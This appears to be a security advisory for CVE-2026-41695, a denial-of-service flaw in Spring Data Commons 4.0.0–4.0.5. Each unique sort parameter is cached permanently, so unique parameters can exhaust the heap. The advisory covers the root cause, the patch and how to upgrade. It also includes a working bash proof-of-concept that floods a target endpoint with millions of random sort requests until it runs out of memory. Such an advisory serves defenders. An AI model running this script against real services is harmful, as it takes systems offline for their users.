high · 7.5CVE-2026-41695Jul 31, 2026

CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Spring Data Commons permanently caches every property-path string an attacker sends, including invalid ones, with no size limit, so a loop of unique random sort parameters can exhaust the JVM heap…

Packageorg.springframework.data:spring-data-commons
Ecosystemmaven
Affected>= 4.0.0, <= 4.0.5
Fixed in4.0.6
CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS

The problem

PersistentPropertyPathFactory.propertyPaths (line 53) is a plain ConcurrentHashMap keyed on (TypeInformation, raw path string). Every distinct string, valid or not, is inserted via computeIfAbsent and held in strong references forever.

Unresolvable paths are cached as PathResolution.unresolved (line 204) so the same exception can be re-thrown cheaply. That design choice means every unique garbage string an attacker supplies creates a permanent map entry. There is no eviction, no size cap, and no upstream validation in the public MappingContext interface.

Downstream modules such as Spring Data REST and store-specific QueryMappers pass HTTP-request-derived sort and filter property names directly into this method.

Proof of concept

A working proof-of-concept for CVE-2026-41695 in org.springframework.data:spring-data-commons, with the exact payload below.

bash
#!/usr/bin/env bash
# Target: any Spring Data REST endpoint backed by a Spring Data store module.
# Each request fails fast with 400/InvalidPersistentPropertyPath but leaves
# a permanent TypeAndPath + PathResolution entry in the server heap.
# Run until OOM (~10M unique values on a 512 MB heap).

BASE_URL="http://target/api/things"
for i in $(seq 1 10000000); do
  RAND=$(cat /proc/sys/kernel/random/uuid | tr -d '-')
  curl -sf "${BASE_URL}?sort=${RAND},asc" -o /dev/null &
  # throttle fd usage
  if (( i % 500 == 0 )); then wait; fi
done

Each unique ?sort= value becomes a new TypeAndPath map key inside PersistentPropertyPathFactory.propertyPaths, a ConcurrentHashMap with hard references and no bound. Failed lookups are cached too (line 204), so the attacker never needs a valid property name. The sibling SimplePropertyPath cache was already converted to ConcurrentReferenceHashMap (soft references, GC-evictable) in an earlier hardening pass, proving Spring recognises this as a bug class.

The patch (commits 96e9475 and a4f893b) replaces the unbounded ConcurrentHashMap with a fixed-capacity ConcurrentLruCache and stops caching PathResolution.unresolved results, matching the treatment already applied to the sibling cache.

The fix

Upgrade to spring-data-commons 4.0.6 (or 3.5.12 for the 3.5.x line). The fix replaces the unbounded ConcurrentHashMap in PersistentPropertyPathFactory with a bounded ConcurrentLruCache and removes caching of unresolved (failed) path lookups. If you cannot upgrade immediately, place an upstream rate-limiter or a whitelist on sort and filter parameter values before they reach MappingContext.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research